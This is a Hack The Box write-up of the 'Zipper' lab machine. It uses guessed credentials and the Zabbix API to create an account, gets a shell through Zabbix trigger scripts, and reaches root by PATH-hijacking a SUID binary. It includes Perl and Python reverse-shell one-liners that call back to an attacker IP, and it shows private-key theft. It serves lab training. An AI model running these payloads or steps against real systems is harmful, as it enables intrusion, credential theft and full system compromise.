Hack The Box - Zipper

8 minute read

ZipperImage


Summary:


This machine took a bit of thinking outside of the box so it was a bit of a nice challenge and involved exploiting both custom binaries and legitimate services offered. Although a real life test may not be identical to this, it does highlight a lot of elements that one may find during a typical penetration test which may be able to be used to remotely compromise a system and elevate privileges.

Gaining Access

  • Easily guessed credentials
  • Create user through Zabbix API
  • Webshell through Zipper agent, spawn TTY
  • Password stored in plaintext (backup.sh)

Elevating Privileges

  • SUID bit set on a vulnerable binary
  • Vulnerable Zabbix service, create a fake one
  • Change PATH variable
  • Create Symlink for systemctl

Write-up


First off I enumerated open ports with Nmap.

nmap -sC -sV -oA Zipper 10.10.10.108

This revealed a web service open on port 80. As its base URL was the default apache page, I tried to enumerate any common sub-directories.

gobuster -u http://10.10.10.108 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

This enumerated the sub-directory

http://10.10.10.108/zabbix/

When viewing this page I was presented with a web login form containing a link to login as a guest. Having no luck with some common username and password combinations, I used the guest logon.

Logging into the web portal presented a standard Zabbix interface but no real administrative access.

Easily guessed credentials

Under the monitoring web interface I noticed there was a section called latest data which had an unusual entry:

Zapperā€™s Backup Script

From this I was under the assumption that Zapper was a legitimate user, so I attempted to guess it with the password Zapper, but this failed to log me on. Wanting to ensure I covered all bases, I tried lowercase and received a different error message:

Enumeration through error messages

Excellent, well sort of. I now knew that the username and password was correct, but I didnā€™t have access to login via the web. Thinking there may be an exploit available I went searching.

searchsploit zabbix

Plenty of exploits, but upon searching only one was going to be useful, 39937.py, so I cloned it and took a look at what I had available.

searchsploit -m 39937.py
cat 39937.py

To my surprise the exploit required a hostid to be successful; however, this information wasnā€™t readily available to me without access to the Zabbix GUI, so I was out of luck.

Something I did find interesting was the url mentioning api_jsonrpc.php, so I went off and looked into the Zabbix JSON-RPC API.

https://metacpan.org/pod/Zabbix::API

Although I spent some time looking around around for various tools that use the Zabbix API, and came up with nice looking tools.

https://github.com/usit-gd/zabbix-cli/blob/master/docs/manual.rst

I also realised that I could use the web api to make requests without logging into the GUI interface by posting appropriate json strings to /zabbix/api_jsonrpc.php. This was the avenue I ended up taking, so I went back to reading the manual once more.

https://www.zabbix.com/documentation/3.4/manual/api

Create user through Zabbix API

Hooray for manuals. Based on this, I concluded that I would first have to authenticate using the zapper account. So by posting the below to 10.10.10.108/zabbix/api_jsonrpc.php.

{ "jsonrpc": "2.0", "method": "user.login", "params": { "user": "zapper", "password": "zapper" }, "id": 1 }

I received the below response:

	{
    	"jsonrpc": "2.0",
    	"result": "ca4957e39c7f516f0e9233ade89e1a19",
    	"id": 1
	}

Now that I had a token to use for authenticated commands, I checked what groups were available by a post request.

{"jsonrpc": "2.0", "method": "usergroup.get", "params": { "output": "extend", "status": 0 }, "auth": "ca4957e39c7f516f0e9233ade89e1a19", "id": 1 }

This revealed that there were a number of user groups which could be assigned, one of which gave me the access I needed. So following the documentation to create a user.

https://www.zabbix.com/documentation/3.0/manual/api/reference/user/create

After one final POST request:

{
"jsonrpc": "2.0",
"method": "user.create",
"params": {
	"alias": "JPMinty",
	"passwd": "devsecops",
	"usrgrps": [
		{
			"usrgrpid": "7"
		}
	],
	"user_medias": [
		{
			"mediatypeid": "1",
			"sendto": "[email protected]",
			"active": 0,
			"severity": 63,
			"period": "1-7,00:00-24:00"
		}
	]
},
"auth": "ca4957e39c7f516f0e9233ade89e1a19",
"id": 1
}

I had created a user which could be used to get onto the web interface.

Webshell through Zipper agent, spawn TTY

After logging onto the web interface I found a tab called triggers which contained 2 hosts, Zabbix and Zipper. Within this area I was able to create custom scripts which would execute on a host if they were triggered.

Figuring this was as good a spot as any to go for a web shell, I setup a netcat listener to catch the reverse shell.

netcat -nlvp 8000

I then created a trigger action which used perl to initiate a connection to my machine through its open socket. In short this is a common reverse shell which can be used if perl is available with no restrictions.

perl -e 'use Socket;$i="10.10.12.121";$p=8000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

After executing the action on the Zabbix host, I quickly realised Iā€™d gone down a rabbit hole and had nothing available to move forward. Thinking back to what was originally used to gain access (zapper), lead me to try the other hose, Zapper, perhaps the user had a typo? Only one way to find out.

Success! At this point I had a very unstable shell which could drop out at any moment, so I had to look around quickly. Firstly I wanted to know what user I had compromised.

whoami

zabbix

Okay, so I managed to get a limited, unstable shell as the zabbix account, well better than nothingā€¦

Password stored in plaintext

From here I found a ā€˜utilsā€™ directory, and after looking inside of at the ā€˜backup.shā€™ script previously seen, I found some plaintext credentials.

cd utils
ls -la
cat backup.sh

Quick script to backup all utilities in this folder to /backups
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null

Excellent, I now have some credentials for zapper. I thought Iā€™d just be able to use su to elevate to zapperā€™s account using this password.

su - zapper

no tty present and no askpass program specified

Owch, of course I hadnā€™t spawned a TTY shell so I couldnā€™t use the super user function. Thinking I could use a python script to do this I echoā€™d one to a file and gave it a shot, but without luckā€¦

cd /tmp
echo "import pty; pty.spawn('/bin/bash')" > /tmp/elevate.py
python elevate.py

Command ā€˜pythonā€™ not found

You also have python3 installed, you can run ā€˜python3ā€™ instead.

Oops, I may have neglected to check whether python was installed or not, but at least it has python3. Trying one last time.

python3 elevate.py

Gaining Access

Bingo, I had a TTY shell, now after using the super user command and entering the password obtained.

su - zapper
Password: ZippityDoDah

I had successfully logged in as zapper.

cat user.txt

User.txt: aa29e ā€¦ 8fe33


At this point I wanted to take a bit of a breather, but I knew Iā€™d have to go through all of this again if I was to lose my shell, so I checked if there was a SSH key I could use to get back in if everything falls apart.

cd .ssh
ls -la
cat id_rsa

Lucky! itā€™s not always you can find valid SSH keys; however, they can save you a lot of pain with unstable reverse shells, so itā€™s always good to look for them if you find yourself on a linux machine.

After saving the key to my local machine and securing it using chmod 600 (this changes it to only have read/write permissions).

chmod 600 rsa_id

I now had a way to get back in without the need for a shell. How nice!

ssh -i rsa_id zapper@10.10.10.108

When looking for privilege escalation opportunities, one of the first things I like to look for on a linux system is anything which has the ā€˜SUIDā€™ or ā€˜SGIDā€™ bits set. These are referred to as the set user ID and set group ID bits which essentially allow an executable to be run with the privileges of its owner or group.

When we have one of these set on an executable owned by someone with elevated privileges, it can often lead to a privilege escalation opportunity if the executable has any vulnerabilities.

SUID bit set on a vulnerable binary

I searched for any binaries with the SUID bit set, and I found an unusual entry.

find / -perm -u=s -type f 2>/dev/null

utils/zabbix-service

Hmmm, the zabbix service executable is set to run with root privileges, figuring this may be full of holes I used the ā€˜stringsā€™ command to find any unicode or ascii characters within the executable which may give away a potential vulnerability. There was one line which stood out more than any other.

strings utils/zabbix-service

Vulnerable Zabbix Service, create a fake one

systemctl daemon-reload && systemctl start zabbix-agent

This section looked like it could be exploited by modifying our PATH variable. **A nice example of how the PATH variable can be exploited in conjunction with vulnerable executables can be found below:

http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

For the purpose of this machine, I created my own daemon-reload file in the hope that I could then create a link from systemctl to /bin/sh so that it would be executed with root permissions.

Considering I knew python3 was already available I thought this was a good bet as I still wanted an elevated shell.

cd utils
nano daemon-reload
#!/bin/bash
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.12.121",8000));os.dup2(s.fileno(),0); > os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

I then needed to make the file executable.

chmod +x daemon-reload

At this point I wanted to create a symbolic link which would then ensure that anytime systemctl was called, it would instead execute a shell command. For this to work I also ensured I set my working path as the current directory I was in and executed the zabbix service asking it to start.

ln -s /bin/sh systemctl
export PATH=.:$PATH 

Back on my host machine I setup a netcat listener one more time.

netcat -nlvp 8000

Elevating Privileges

Hoping all would go well, I started the zabbix service.

./zabbix-service
start

listening on [any] 8000 ā€¦ connect to [10.10.13.55] from (UNKNOWN) [10.10.10.108] 54970

whoami

root

Victory! It was time to take my prize and move on with my lifeā€¦

cat /root/root.txt

Root.txt: a7c74 ā€¦ eab6e


Final Notes

At the time of writing other HTB members had rated the machine elements as shown below. Feel free to reach out and provide any feedback or let me know if this helped.

Heatmap